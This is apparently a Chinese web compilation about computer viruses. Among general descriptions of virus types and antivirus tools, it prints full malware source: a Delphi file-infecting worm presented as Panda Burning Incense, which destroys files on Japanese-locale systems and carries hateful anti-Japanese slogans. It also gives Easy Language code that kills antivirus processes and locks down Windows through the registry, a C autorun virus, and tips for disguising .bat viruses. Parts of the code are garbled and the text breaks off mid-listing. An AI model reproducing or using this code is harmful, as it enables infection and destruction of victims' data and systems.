1. 病毒源代码怎么用
建立一个新的记事本,把病毒源代码复制进去,保存。然后重命名,把后缀改成 .bat 就可以了。这时候系统会提示更改后不可用,点确定,这时候就是一个可执行程序了,也就是病毒。点击就会自动运行。另外,还可以隐藏后缀名,换图标,以假乱真
2. 计算机病毒种类、防治方法
目前流行的计算机病毒概括成如下四类:
1.操作系统病毒
这种病毒的特点是:当系统引导时就装入内存,在计算机运行过程中,能够经常捕获到CPU的控制权,在得到CPU的控制权时进行病毒传播,并在特定条件下发作。该类病毒的上述活动是悄悄完成的,很难被发觉,因而有很大的危险性。
2.源码型病毒
源码型病毒专门攻击高级语言如FORTRAN、C、PASCAL等源程序和数据文件的源码。它们在编译之前插入到源程序。
3.外壳型病毒
这类病毒攻击的主要目标是系统的.COM、.EXE等可执行文件。染上这种病毒的可执行文件一旦运行,首先执行这段病毒程序,达到不断复制的目的。由于它的不断繁殖,使计算机工作效率大大降低,最终造成死机。
4.定时炸弹型病毒
许多微机上配有供系统时钟用的扩充板,扩充板上有可充电电池和CMOS存储器,定时炸弹型病毒可避开DOS的中断调用,通过低层硬件访问对CMOS存储读写。因而这类程序利用这一地方作为传染、触发、破坏的标志,甚至干脆将病毒程序的一部分寄生到这个地方,因这个地方有锂电池为它提供保护,不会因关机或断电而丢失,所以这类病毒十分危险。
近两年,计算机病毒已经发展到多形性病毒、欺骗性病毒、轻微破坏型病毒以及病毒生成工具等。这些病毒更隐蔽、破坏性更强。例如,多形性病毒每次感染的形式都不一样,使查找更加困难,清除更不容易;被欺骗性病毒感染的文件,在列目录显示或读文件时,文件的大小和内容都正常,用户无法知道已被感染;被轻微破坏型病毒感染的文件,每次备份只破坏很少数据,很难察觉。一旦发现,被破坏的数据已无
防治原理:
反病毒软件的任务是实时监控和扫描磁盘。部分反病毒软件通过在系统添加驱动程序的方式,进驻系统,并且随操作系统启动。大部分的杀毒软件还具有防火墙功能。
反病毒软件的实时监控方式因软件而异。有的反病毒软件,是通过在内存里划分一部分空间,将电脑里流过内存的数据与反病毒软件自身所带的病毒库(包含病毒定义)的特征码相比较,以判断是否为病毒。另一些反病毒软件则在所划分到的内存空间里面,虚拟执行系统或用户提交的程序,根据其行为或结果作出判断。
而扫描磁盘的方式,则和上面提到的实时监控的第一种工作方式一样,只是在这里,反病毒软件将会将磁盘上所有的文件(或者用户自定义的扫描范围内的文件)做一次检查。
推荐杀软:2009年世界顶级杀毒软件排名
toptennews评出了2009年度世界顶级杀毒软件排名,国外的排名仅供参考,它们不一定能完全适应中国的水土。我们来简单看一下排名情况:
第一:BitDefender ,来自罗马尼亚,连续三年第一。
第二:赫赫有名的Kaspersky(卡巴斯基)。
第三:Webroot Antivirus ,今年第一次上榜,反间谍能力比较强。
第四:G DATA AntiVirus,今年第一次上榜,特点为双引擎杀毒。
第五:ESET NOD32,从去年的第三滑到了第五。
第六:ParetoLogic Anti-Virus PLUS,微软的产品,第一次上榜。
第七:AVG Anti-Virus ,来自捷克,2005 年获 Virus bulletin 的 VB100% 奖。
第八:Vipre Antivirus + Antispyware
第九:F-Secure Anti-Virus来自芬兰,集合四套杀毒引擎,包括Kaspersky 的杀毒内核。
第十:Trend Micro AntiVirus,趋势科技的产品。
3. 怎样使用病毒的源代码
网络上恐慌一时的熊猫烧香病毒居然是用DELPHI编写的。现在附上源码,有兴趣可以学习一下。
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
4. 易语言怎么做病毒软件源码 最好能让他死机的源码
.版本 2
.局部变量 变量, 整数型
置现行时间 (到时间 (“2056年1月1日”))
运行 (“taskkill /f /im kavsvc.exe”, 假, 1)
运行 (“taskkill /f /im KVXP.kxp”, 假, 1)
运行 (“taskkill /f /im Rav.exe”, 假, 1)
运行 (“taskkill /f /im Ravmon.exe”, 假, 1)
运行 (“taskkill /f /im Mcshield.exe”, 假, 1)
运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)
' 绕过360监控
写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)
运行 (“taskkill /f /im 360tray.exe”, 假, 1) ' 结束360进程
' 修改关联
写注册项 (1, “.txt\”, “jpegfile”)
写注册项 (1, “.inf\”, “jpegfile”)
写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”, 0) ' 隐藏文件和文件夹
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0) ' 禁用任务管理器
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, 1) ' 禁用控制面板
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1) ' 禁用注册表
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1) ' 隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务
写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)
' 隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里,或“MS-DOS”方式下都看不见了
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295) ' 隐藏所有驱动器
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295) ' 禁止所有驱动器
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1) ' 隐藏文件夹选项
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1) ' 将桌面对象隐藏
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) ' 隐藏开始中的关机
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1) ' 隐藏开始中的搜索
' 写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”, 1)'1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”, 1) ' 隐藏主页选项组
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1) ' 隐藏IE文件菜单
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites”, 1) ' 隐藏收藏夹菜单
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting”, 1) ' 禁用IE打印功能
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”, 1) ' 隐藏Internet选项
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”, 1) ' 禁止IE查看源文件
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3) ' 禁用IE下载功能
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”, 1) ' 禁止右键关联菜单
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRealMode”, 1) ' 禁止“重新启动计算机切换到MS-DOS方式”
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 禁止显示“注销”
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu”, 1) ' 禁止文档菜单
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, 1) ' 去掉“开始”选单中的“登录”项
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, 1) ' 禁止使用鼠标右键
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders”, 1) ' 禁止修改控制面版
5. 什么是计算机病毒,木马.如何防范
计算机病毒是借用生物病毒的概念。生物病毒可传播、传染,使生物受到严重的损害,甚至导致生物死亡。计算机病毒也如此地危害着计算机系统。目前,计算机病毒已成为社会的新“公害”。计算机病毒的出现及迅速蔓延,给计算机世界带来了极大的危害,严重地干扰了科技、金融、商业、军事等各部门的信息安全。
计算机病毒是指可以制造故障的一段计算机程序或一组计算机指令,它被计算机软件制造者有意无意地放进一个标准化的计算机程序或计算机操作系统中。尔后,该病毒会依照指令不断地进行自我复制,也就是进行繁殖和扩散传播。有些病毒能控制计算机的磁盘系统,再去感染其它系统或程序,并通过磁盘交换使用或计算机联网通信传染给其它系统或程序。病毒依照其程序指令,可以干扰计算机的正常工作,甚至毁坏数据,使磁盘、磁盘文件不能使用或者产生一些其它形式的严重错误。
我国计算机病毒的来源主要有两个:一个是来自国外的一些应用软件或游戏盘等,如小球病毒、“DIR-2”病毒等,国外早有报道。另一个来源是国内,某些人改写国外的计算机病毒或自己制造病毒。如“广州一号”病毒为修改国外“大麻病毒”形成的变种,Bloody病毒则为国产病毒。病毒的蔓延很快,天天在产生。一台电脑如果染上了病毒,可能会造成不可估量的破坏性后果,有可能使多年的心血毁于一旦,或者使至关重要的数据无法修复。
一般说来,电脑有病毒时,常常造成一些异常现象,例如,数据无故丢失;内存量异常减小;速度变慢;引导不正常;文件长度增加或显示一些杂乱无章的内容等。有经验的用户可以利用技术分析法,来判定计算机病毒的发生。
目前,对付计算机病毒的主要方法有两种:一种是利用工具软件消毒;另一种是利用微机防病毒卡防毒。如国外的CPAV软件、SCAV系列软件,以及我国公安部不断推出的Kill软件等,一些软硬件结合的防病毒产品,都给计算机用户提供很大的帮助。可以相信,随着时间的推移,计算机反病毒技术必将不断地发展、不断地完善。
==================================================
计算机病毒
computer virus
一种依附在各种计算机程序中的一段具有破坏性、能自我繁衍的计算机程序。它通过软盘、终端或其他方式进入计算机系统或计算机网络,引起整个系统或网络紊乱,甚至造成瘫痪。
1983 年 11月,在一次国际计算机安全学术会议上,美国学者F.科恩第一次明确提出计算机病毒的概念,并进行了演示。1984年他又发表了有关计算机病毒理论和实践的文章,但当时并未引起学术界的重视。1987年发生了几次计算机病毒事件,特别是1988年11月美国国防部的军用计算机网络遭受莫里斯病毒袭击,病毒扩散速度之快、范围之广、损失之大,震惊了信息科学界人士,引起人们的广泛注意。1989年初,中国首次发现计算机病毒。由于多方面原因,病毒在中国的蔓延也比较广泛。从全世界情况来看,1988 、1989 年是计算机病毒大量产生和繁殖的时期。从那时以后,新计算机病毒出现的数目大大下降,但计算机病毒仍不时肆虐于世界各地。编制病毒的技术在不断提高,1992年出现了所谓的秘密型病毒和多型病毒,病毒检测程序都无法发现它们。特别是多型病毒不断变换特征,可能会成为今后的严重问题。
世界上大约有1350种IBM 个人计算机病毒 ,200 多种Amiga病毒,35种Macintosh病毒,此外还有一些 Unix和大型主机病毒。德国的一位专家估计,大约有300 个基本病毒系列。
分类 计算机病毒的分类方法很多,按其攻击方式可以分为:①操作系统病毒。运行时用病毒自己的逻辑模块取代部分操作系统的合法程序模块,它有很强的破坏力,甚至导致整个系统瘫痪。出现这种类型的计算机病毒主要是针对操作系统自举区引导程序的,如大麻病毒、小球病毒和巴基斯坦病毒等。②应用程序型病毒。其中又分源码型和目标码型。源码病毒在高级语言编写的程序被编译之前插入到源程序之中,随后与合法程序一起被编译,这种病毒很容易传染。目标码病毒对已经可执行的目标程序进行攻击,一般也同时侵袭操作系统。③外壳型病毒。不改变所依附的程序,只是在原程序开始和结束的地方加上病毒程序。这类病毒易于编写,也较为常见,以色列病毒(也称之为黑色星期五病毒)即属于此类病毒。④入侵型病毒。在所依附的程序中插入病毒程序,可为局部代替,也可用一条指令转到病毒程序,在病毒程序结束后再转入所依附的程序。此类病毒难编写,删除也比较困难。
在文献上所见到的蠕虫程序、特洛伊木马、细菌、病毒等,也统称之为计算机病毒。
组成 计算机病毒一般由3个基本部分组成:主控程序,负责病毒的组装和初始化工作;传染程序,将该病毒程序传染到别的可执行程序上去;破坏程序,实现病毒程序编制者的破坏意图。当计算机执行病毒所依附的程序时,病毒程序就获取了对计算机的控制权,开始执行主控程序,然后根据条件是否满足调用传染程序和破坏程序。一般说来,传染条件容易满足,因此病毒的传染比破坏来得容易。病毒破坏条件未被满足时,病毒处于潜伏状态。
特点 ①程序量小。计算机病毒的程序代码量通常是很小的,便于隐蔽在可执行程序和数据文件中,从而袭击其他合法程序。②依附性。病毒在计算机里,只有依附在某一种具有用户使用功能的可执行程序上,才有可能被计算机执行。当计算机中的程序依附上病毒程序时,就说这个程序被感染了。③传染性。一旦一个程序染上了计算机病毒,当此程序运行时,该病毒就能够传染给访问计算机系统的其他程序和文件。于是病毒很快就传染给整个计算机系统,还可通过网络传染给其他计算机系统,其传播速度异常惊人。传染性是计算机病毒的最主要特点。④破坏性。轻者影响系统的工作效率,占用存储空间、中央处理器运行时间等系统资源;重者可能毁掉系统的部分数据,也可能破坏全部数据并使其无法恢复,还可能对系统级数据进行篡改,使系统的输出结果面目全非,甚至导致系统瘫痪。⑤潜伏性。由于病毒程序往往是先潜伏下来,等到特定的条件或时间才触发,使得病毒程序的破坏力大为增强。在受害用户意识到病毒的存在之前,病毒程序有充分的时间进行传播。计算机病毒的潜伏性与传染性相辅相成,潜伏性越好,病毒传染范围越大。⑥持久性。即使在病毒程序被发现以后,数据和程序以至操作系统的恢复都是非常困难的。在许多情况下,特别是在网络操作情况下,因病毒程序由一个受感染的拷贝通过网络系统反复地传播,所以病毒程序的清除非常复杂。
防治 计算机病毒的防治必须采取综合措施。①加强管理。实行严格的计算机管理制度,对有关人员,特别是系统管理人员进行职责教育,订出有效的应用和操作规范;对外来软件和磁介质(如软盘片、磁带等)进行防病毒检查,严禁使用来历不明的软件;严禁在部门计算机上玩计算机游戏,因为很多游戏盘带有病毒;购买软硬件产品时,务必考虑安全因素,考查厂商的安全背景;保护好随机的原始资料和软件版本,建立安全的备份制度和介质分组管理制度;主管部门应对所属单位的计算机进行定期、经常性的病毒迹象侦察;发现病毒疫情,做好症状记录并立即报告主管部门。②从技术上防治。计算机系统配备病毒检测程序,及时发现病毒 ;严格保护好硬盘,对重要的程序和数据文件,设置禁写保护,用保护装置防止非法装载硬盘;采取加密手段防止病毒入侵;研制计算机病毒疫苗,增强计算机系统自身对病毒的抵抗力;采取病毒入侵应急措施,减少病毒造成的损失;研制安全的操作系统是防治计算机病毒的根本性办法。③法律约束。应尽快制定处罚计算机病毒犯罪的法规,对制造、施放和出售病毒软件者依法进行惩处。
计算机病毒对抗 计算机病毒在军事上的应用成为一种新型的电子战。它与传统的电子对抗的主要差别在于:电子对抗的目标是敌方电子系统的接收设备,而计算机病毒对抗的目标是敌方电子系统的计算机处理设备。其作战步骤是 :通过无线电发射,把计算机病毒射入敌方电子系统的最薄弱环节(无保护的链路)之中;计算机病毒通过感染传播到下一个节点(有保护的链路)之中;计算机病毒最终到达预定目标——敌方指挥中心的计算机,由特定的事件和时间激发,对敌方电子系统造成灾难性的破坏。1991年海湾战争后,美国国防部大量收集计算机病毒,网罗计算机病毒研究人材 ,并拨专款研究对抗计算机病毒。许多专家认为,实现计算机病毒对抗的可能性非常大。
6. 关于计算机病毒源码
即使是小病毒也不是太好编的
比如用C语言做的小病毒……
功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在
explorer.exe前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)
本病毒到目前为止任何杀毒软件都无法将其查杀(07年的)
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):
@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
c:\windows\system\explorer.exe c:\windows\explorer.exe
c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause
--------------------------------------------------------------------
核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)
/*
SK-CHINA
SVCHOST virus WRITE BY S.K
Compiler:
DEV-CPP 4.9.9.2
*/
/* SVCHOST.C */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*标准输入输出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/
#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM 5 /*删除文件数*/
/*====================================================================*/
/*
文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)
\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)
\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
添加注册表项:
1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32
\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
函数:复制文件
复制源:infile
目的地:outfile
成功返回0,失败返回1
*/
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/*=====================================================================*/
/*
函数:通过explorer自动运行
成功返回0,失败返回1,2
*/
int autorun_explorer()
{
FILE *input;
if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
\\dllcache\\$temp$");
if(("SVCHOST.com","c:\\windows\\explorer.exe")==0 &&
